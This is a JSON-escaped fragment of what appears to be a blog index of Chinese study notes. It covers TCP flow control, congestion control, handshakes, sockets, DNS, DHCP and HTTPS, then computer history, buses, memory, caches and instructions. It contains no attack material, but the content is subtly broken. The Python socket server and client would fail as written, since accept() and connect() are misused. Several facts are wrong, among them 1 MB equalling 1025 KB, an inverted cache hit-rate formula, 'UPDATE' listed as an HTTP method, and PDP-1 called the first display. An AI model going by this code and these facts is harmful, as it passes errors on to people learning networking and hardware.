4字节），能存储的序号太小，因此实质上存储的是重传的字节边界，重传开头字节到结尾字节，就是2个协号表达一段需要重传的字节，这会增加了重传字节的数量，而不是每次只能重传10个字节，而是能重传数百个，数万个字节，因为丢失字节的数量是非常巨大的，要么没有问题，一出问题就是字节丢失很多\n流量控制（提示发送方的发送数据的频率不要太快（避免接收方处理不及时，而导致数据丢失），通过限制滑动窗口的大小来实现，窗口指明发送的数据量是多少）\n发送方发送数据时携带SEQ序号，表示该报文的序列号，接收方进行响应时，会返回ACK确认号（表明接收到哪个报文了），如果想提示发送方的窗口要设置多大合适，还可以响应一个RWND来表示发送方应该设置窗口大小为这个\nACK=101，RWND = 1000，将表示下一个发送序号为101的报文，并且窗口为1000，也就是说可以一次传输101到1100之间的报文\n通过窗口大小来通知对方的发送速率，来做到流量控制，超时重传只针对数据的，对于响应消息是不会触发重传的，如果窗口控制的消息丢失了，将可能导致死锁（如果之前设置RWND为0的话，需要等待响应调整窗口，窗口消息丢失，接收方和发送方都在等待对方的回应）\n坚持定时器：当接收到RWND为0的消息时，启动坚持定时器，坚持定时器将每隔一段时间发送窗口探测报文，询问接收方是否有调整窗口的大小的操作，避免因为窗口消息的丢失而死锁的情况发送\n拥塞控制（硬件设备传输速率不同或者网络设备故障，因此存在网络拥塞的情况，例如报文超时，这个也是被认为网络拥塞了）\n拥塞控制算法：慢启动算法（从小到大逐渐增加发送量，当发送的报文接收到了，将增加发送量，逐渐试探网络是否拥塞了，会指数增长发送量，直到慢启动阈值（ssthresh）），拥塞避免算法（当慢启动算法达到慢启动阈值时启动，控制拥塞窗口，会试探扩大拥塞窗口（直线增长），直到发送网络拥塞为止）\n三次握手（通过TCP首部的TCP标记完成，ACK，SYN，FIN）\n第一次握手：SYN=1，seq=x，seq是序号，请求建立连接方向目标发送\n第二次握手：SYN=1，ACK=1，seq=y，ack=x+1，ACK确认收到请求，seq的值是数据序号，ack=x+1，是希望下次接收的数据的序号\n第三次握手：ACK=1，seq=x+1，ack=y+1，ACK确认，seq是当前发送的数据序号，ack是期望下次接收的序号\n发送方负责同步和建立连接，接收方负责监听和同步数据已接收响应，建立连接\n三次握手的作用不只是建立连接，而且还可以同步数据的序号，以及希望下次接收数据的序号，避免失效的请求建立连接报文（超时的）而导致错误，第三次握手消息，会让接收方忽略超时的失效的建立连接报文（因为超时没有响应，会重发请求）\n四次挥手（TCP连接的释放）\n第一次挥手：FIN=1，seq=u，数据传输完毕，需要终止TCP连接\n第二次挥手：ACK=1，seq=v，ack=u+1，被终止方依然可以发送数据，因为只是主动终止方发送完毕数据了，对方并不一定完成了，需要等待对方发送完毕\n第三次挥手：FIN=1，ACK=1，seq=w，ack=u+1，被终止方发送数据完毕，也可以终止了\n第四次挥手：ACK=1，seq=u+1，ack=w+1，请求终止方确认已经接收到对方可终止的请求后发送，可以释放了\n等待计时器：请求终止方需要等待计时器后才进行关闭，而被终止方接收到第四次挥手消息后是立刻关闭，这个计时器又叫2MSL计时器，即报文最大生存时间的2倍（MSL，Max Segment LIfetime，最长报文段寿命，一般为2分钟）\n等待计时器的作用是确保第四次挥手消息到达对方，如果对方在2MSL内没有接收到，会重新发送第三次挥手消息，确保全部报文在连接中失效，端口占用\n套接字（ip和端口的组合，Socket，表示TCP连接的一端，用来数据发送和接收）\nTCP连接使用2个套接字来组成（C/S架构）\n服务端创建套接字，绑定套接字，监听套接字，接收或者处理消息\n客户端创建套接字，连接套接字，发送消息\n套接字编程（使用Python完成）\n服务端\nimport socket\rdef server():\rs = socket.socket() #创建套接字\rhost = '127.0.0.1'\rport = 8080\rs.bind((host,port)) #绑定套接字\rs.listen(10) #监听\raddr = s.accept() #接收对方发送的消息\raddr.send('hallo word') #向对方发送消息\raddr.close() #关闭连接\rif __name__ == '__main__':\rserver()\r客户端\nimport socket\rdef client():\rs = socket.socket() #创建套接字\rs.connect('127.0.0.1',8080) #连接端口\rprint(s.recv(1000)) #接收服务端消息\rs.close() #关闭连接\rif __name__ == '__main__':\rclient()\r应用层（对接用户的一层，定义应用与应用之间的通信规则）\n应用层常见协议：HTTP，SSH，DNS，FTP，SMTP，POP3，Telnet\nDNS（Domain Name System，域名系统）\n使用域名来代替IP的点分十进制，通过DNS服务，可以将域名映射出源IP地址（这个源可能是源服务器，也可能是代理服务器，缓存服务器，CDN服务器）\n域名由点，数字，字母组成，这个字母不区分大小写，点分割不同域（这里的域主要分顶级域，二级域，三级域）\n例如：blog.xiaochenabc123.test.com，.com就是顶级域，xiaochenabc123.test.com是二级域，blog.xiaochenabc123.test.com是三级域\n顶级域分成通用顶级域和国家（地区）顶级域，例如.cn，.com，.org，.net，.gov\n顶级域搭配二级域就是可以完成一个IP映射服务了\nDNS服务部署在DNS服务器上（域名服务器），根域名服务器（管理所有顶级域，全世界目前只有13台），顶级域名服务器（负责顶级域的DNS解析工作），域名服务器（负责二级域的解析工作）\nDNS解析过程：计算机访问本地域名服务器查询，如果本地域名服务器没有缓存，则直接向根域名服务器请求，这个顶级域是属于哪个顶级域名服务器的，根域名服务器会返回对应的顶级域名服务器信息，本地域名服务器然后对顶级域名服务器查询，这个二级域名应该属于哪个域名服务器，再访问域名服务器，最后获取映射的IP\n本地域名服务器决定了DNS解析的时长，一个好的本地域名服务器可以减少向根，顶级，域名服务器的请求，例如公共域名服务器，114.114.114.114，8.8.8.8，119.29.29.29，223.5.5.5，180.76.76.76\n域名由 ICANN 管理全世界的域名系统工作\nDNS也会被缓存到本地计算机内，浏览器缓存，操作系统缓存，因此实质上是先访问浏览器缓存，没有再访问操作系统缓存，再然后才到本地域名服务器\nDHCP协议（Dynamic Host Configuration Protocol，动态主机设置协议）\nDHCP协议是局域网协议，调用UDP协议的应用层协议，提供即插即用联网服务（不需要手动设置IP，而是使用DHCP协议提供的服务，动态设置IP）\nDHCP协议提供的是临时IP，具有租期性（过期了会回收，当然也可以续租），提供DHCP协议服务的是DHCP服务器，该服务器通过监听默认端口67，计算机通过UDP协议进行广播DHCP发现报文，因为当前计算机还没有分配IP，会通过设置ip的位全为1，就是255.255.255.255为UDP协议报文的ip，表示这个报文是广播报文，DHCP服务器接收到发现报文后发出DHCP提供报文，计算机接收DHCP提供报文，知晓该网络提供DHCP服务，计算机会向DHCP服务器发送DHCP请求报文，DHCP接收请求并且回应，提供IP地址\nHTTP协议（HyperText Transfer Protocol，超文本传输协议）\nHTTP协议是调用TCP协议的应用层协议，基于TCP的数据可靠性传输\n服务端处理过程：接受客户端TCP连接，接收请求报文（HTTP请求方法有很多种，常见的有GET，POST，DELETE，UPDATE，PUT等等），处理请求，访问资源，生成响应报文，发送响应报文给客户端\n请求报文由请求方法，请求地址，HTTP版本，请求头，请求内容组成\n响应报文由HTTP版本，响应状态码，状态解释，响应头，响应内容组成\nHTTPS是在HTTP协议的基础上使用了SSL（Secure Sockets Layer，安全套接层），数字证书加密通信，SSL证书由可信任组织（CA机构）颁发给所有人的，CA机构颁发的证书就叫CA证书，CA证书有很多种，SSL证书是CA证书的一种，数字证书主要由证书序列号，签名算法，有效期，所有人名称，所有人公开密钥组成\nSSL提供了数据加密传输，数据不可篡改等功能，应用层的数据交付给传输层会经过SSL的加密传输\n先进行443端口的TCP连接，SSL安全握手，完成安全握手后就可以对数据进行加密解密\nSSL安全握手的过程：\n客户端向服务端发送协议版本，支持的加密算法，随机数1\n服务端回应，发送确定的加密算法，数字证书，随机数2\n上面2次是不进行加密传输的，下面的才进行加密传输\n客户端会先检查数字证书有效性，使用数字证书提供的公开密钥对随机数3进行加密，并且将加密数据发送给服务端\n服务端接收到加密数据时，使用私有密钥解密这个随机数3\n客户端和服务端会根据之前生成的随机数1，随机数2，随机数3和确认的加密算法生成对称密钥\n客户端和服务端将使用这个对称密钥来进行加密和解密传输，这个对称密钥只有客户端和服务端知道，外人并不知道（因为随机数3是使用数字证书的公钥加密的，这个随机数3只有客户端和服务端解密后知道）\n","permalink":"https://xiaochenabc123.github.io/posts/156/","summary":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址","title":"计算机网络学习笔记"},{"content":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符\n中文编码集\n国标GB2312，诞生于1980年，中文名为信息交换用汉字编码字符集-基本集，GB2312收录了7445个字符（6763个汉字和682个其他字符）\n因为GB2312不符合国际标准，因此推出GBK（汉字内码扩展规范），向下兼容GB2312，向上支持国际ISO标准，GBK收录了21003个汉字，支持全部中日韩汉字\n为了解决全球的字符集问题，推出了Unicode（又被叫为统一码，万国码，单一码），Unicode定义的世界通用的编码集，并且使用UTF-x来对Unicode进行编码（这个x表示一个字符占多少bits，例如utf-8就是指，1个字符占了8个bits）\n计算机组成\n总线：解决不同设备之间的通信问题\n常见的总线有：\nUSB：全称Universal Serial Bus（通用串行总线）\nPCI总线（外置显卡）\nISA总线\nThunderbolt总线\n总线分2种，片内总线（就是芯片内部的总线，传递芯片内部的信息），系统总线（就是连接计算机外围设备的总线，负责CPU，内存，IO设备之间的信息传递）\n系统总线又分为数据总线（数据总线的位数（总线宽度）一般于CPU位数相同，64位（可以一次传输64位，8个字节的数据），负责双向传输数据信息），地址总线（指定数据的内存中的地址，位数为n时，寻址范围为0到2的n次方，位数和存储单元的位数有关系），控制总线（负责传输控制信号，控制信号通过控制总线，从这一个组件传输给另一个组件（例如显卡发送控制信号给显示器），而且还可以监控设备是否就绪）\n总线仲裁（解决多个设备就绪，总线的使用权分配问题）\n仲裁控制器：控制设备使用总线的优先顺序\n仲裁方法：链式查询（仲裁控制器连接总线的全部设备（串连），需要使用总线的设备发送仲裁，优先级高的最先允许，使用完毕，再询问下一个设备，直到没有需要，这就是链式查询），计时器定时查询（仲裁控制器使用计数器累计计数，当接收到仲裁信号后，向全部设备发送计数值，当计数值和设备编码一致时获取使用权），独立请求（每个设备都有总线独立连接仲裁器，设备都可以向仲裁控制器单独发送请求和接收请求）\n输入/输出设备\n常见输入/输出设备：字符输入设备（键盘），图形输入设备（鼠标，数位板，扫描仪），图像输出设备（显示器，打印机，投影仪）\n输入/输出接口通用设计：允许读取数据，允许向设备发送数据，允许检测设备是否被占用，允许检查设备是否已连接，允许检查设备已启动\n数据线（I/O设备与主机传输数据，单向，双向），状态线（I/O设备向主机报告的信息线，主机可以通过该线来查询设备是否已经正常连接并且已经就绪，也可以查询设备是否被其他进程占用），命令线（CPU向设备发送命令的信号线），设备选择线（主机选择I/O设备进行操作的信号线）\nCPU与IO设备通信：程序中断（IO设备就绪，会向CPU发生中断信号，CPU接收到中断信号后，会执行中断程序工作，会暂停当前进程的工作，转而处理该I/O设备的工作，完成后再恢复到之前进程的工作），DMA（直接存储区访问，DMA直接连接主存和设备，DMA工作期间不需要CPU参与，而是作为主存和设备的中间件，来做到IO设备的数据交换）\n计算机存储器\n存储器的分类\n按存储介质分类，分为半导体存储器（内存，固态硬盘）和磁存储器（磁盘（机械硬盘），磁带）\n按存取方式分类，分为随机存储器（RAM），串行存储器（按顺序读写），只读存储器（ROM）\n缓存（CPU的寄存器），主存（内存），辅存（硬盘）\n存储器的层次结构：CPU可以与主存互相访问，缓存可以和CPU互相访问，也可以和主存互相访问，主存和辅存之间互相访问\nCPU和缓存，以及主存构成缓存-主存层次，而主存和辅存又构成了主存-辅存层次\n局部性原理：CPU访问存储器时，存取指令和存取数据，其访问的存储单元都是聚集在一个连续区域中\n缓存-主存层次是为了解决CPU速度和主存速度不匹配的，在CPU和主存之间再加一层缓存，CPU运行时，可以将数据临时存储在该缓存中，而且不需要完全依赖于主存来做数据存储媒介（主存对于CPU来说还是太慢，需要等待主存处理完毕），提高CPU的利用率\n主存-辅存层次是为了解决主存容量不够的问题，在主存之外添加辅助存储器（例如硬盘）\n对于超过主存的程序运行，利用局部性原理，将当前用到的数据存储到主存，还没有用到的先存储到辅存中\n主存储器和辅助存储器\n主存储器：内存（RAM，随机存取存储器，Random Access Memory）\nRAM通过电容存储数据，必须每隔一段时间刷新一次（刷新需要电存在，如果长时间没有刷新将丢失电容里的电子，从而导致数据丢失），因此掉电后，数据会在一段时间后丢失\nRAM主要由半导体存储体，驱动器，译码器，读写电路，控制电路组成\nCPU利用主存数据寄存器（MDR）通过数据总线来连接读写电路（来完成读写内存工作）\n通过主存地址寄存器（MAR），通过地址总线来连接译码器（完成传输数据，数据存储地址工作）\n操作系统的位数决定了最大寻址区域，32位操作系统最大支持4GB内存（2^32=42^30），64位操作系统最大支持2^34GB（2^64=2^342^30）\n辅助存储器，例如磁盘（由盘片（可磁化的硬磁特性材料构成），读写磁头（移动磁头来读取磁道信息），磁道，扇区（磁道的一部分）组成）\n磁盘调度算法：先来先服务算法，最短寻道时间优先算法，扫描算法（电梯算法），循环扫描算法\n先来先服务算法：按照顺序来访问磁道的读写\n最短寻道时间优先算法：优先访问离磁头最近的磁道\n扫描算法（电梯算法）：磁头每次只往一个方向移动，只有到达尽头时才会反方向移动（因为和电梯调度是一样的，因此又叫电梯算法）\n循环扫描算法：基于扫描算法的优化版本，只向一个方向移动，到达尽头不会反方向移动，而是回到起点，继续一个方向移动\n计算机高速缓存\n计算机缓存的工作原理\n字：指存储在一个存储单元中的二进制组合（是存储最小的单元）\n字块：指存储在连续的存储单元中，也就是一个单元的一组字\n如果一个字是64位，并且一个字块有n个字，存储器一共有x个字块，nx就是总字数，而nx*64就是这个存储器的总容量（bits）\n字的地址：前几位表示字块的地址，后几位表示该字在字块的地址\n当CPU需要的数据存在于缓存中时，往缓存获取，需要的数据不存在时，向主存获取\n缓存命中率是衡量缓存的性能基础，如果每次需要的数据都在缓存时，命中率为1\n缓存命中率计算公式：访问主存的次数除以访问主存的次数加访问缓存的次数的和，得到的数就是这个缓存的命中率（占访问总次数的比例）\n缓存访问效率也是衡量缓存的性能基础，计算公式为访问缓存的时间除以访问主存的时间\n缓存替换策略：当缓存没有数据时，需要向主存载入需要的数据，主要有4种算法，随机算法，先进先出算法（FIFO），最不经常使用算法（LFU），最近最少使用算法（LRU）\n随机算法：每一次发生替换时，随机选取缓存的位置，将对应的位置替换\n先进先出算法（FIFO）：将缓存看成先进先出的队列，队列满后发生替换时，优先替换最先进入队列的字块\n最不经常使用算法（LFU）：优先替换最不经常使用的字块，需要提供空间来记录字块的使用频率\n最近最少使用算法（LRU）：优先替换最近一段时间内最少使用的字块（可以利用双向链表结构，保证链首是使用的字块，链尾是最不经常使用的字块，只需要将链尾去掉，将新的字块放到链首）\n指令系统\n机器指令由操作码和地址码组成，操作码指定指令需要完成的操作，操作码的位数决定了机器的操作种类，例如8位操作码表示有256种操作种类，地址码是指定数据或者数据的地址，根据地址码又分为三地址指令，二地址指令，以及一地址指令和零地址指令，就是指令有多少个数据地址\n机器指令的操作类型：数据传输类型，算术逻辑操作类型，移位操作类型，控制指令（例如中断指令）\n机器指令的寻址\n指令寻址：顺序寻址，跳跃寻址\n数据寻址：立即寻址，直接寻址，间接寻址（给出的地址是数据地址的地址，再根据数据地址，找到数据）\n计算机的控制器\n控制器是控制计算机和协调计算机的\n控制器由程序计数器（存储下一条指令的地址），时序发生器（发送时序脉冲，CPU根据时序脉冲来进行工作），指令译码器（翻译操作码对应的操作，传输地址码对应的数据），寄存器（通用（暂时存放或者发送数据或者指令，也负责保存算术逻辑单元的中间结果），指令（存取计算机指令），主存地址（保存当前CPU正在访问的内存单元地址），主存数据（保存当前CPU正在读取或者写入的主存数据）），总线组成\n计算机的运算器\n运算器由数据缓冲器，算术逻辑单元（ALU），通用寄存器，状态字寄存器，以及总线组成\n数据缓冲器分为输入缓存（暂时存放外部设备发送过来的数据）和输出缓冲（暂时存放需要发送给外部设备的数据）\n算术逻辑单元（ALU）是运算器核心，可以完成算术运算（位运算，加减乘除等等）\n状态字寄存器是存放运算状态的（例如进位，结果的正负，条件码，溢出等等），也可以存放运算控制信息（例如允许中断位，调试跟踪标记位等等）\n计算机指令执行过程（获取指令，分析指令，执行指令）\n指令执行过程的交互发生在片内总线\n通过缓存获取指令，再将指令通过片内总线发送给指令寄存器，暂时存放这个指令操作码和地址码（并不知道指令的具体内容），再通过指令译码器来获取指令具体内容，指令译码器通过片内总线发送控制信号给运算器，程序计算数+1（表示轮到下一个指令执行），执行指令会先将数据存储在数据寄存器，算术逻辑单元处理数据，并且状态字寄存器记录运算的状态，指令完成后发送运算结果\n","permalink":"https://xiaochenabc123.github.io/posts/155/","summary":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器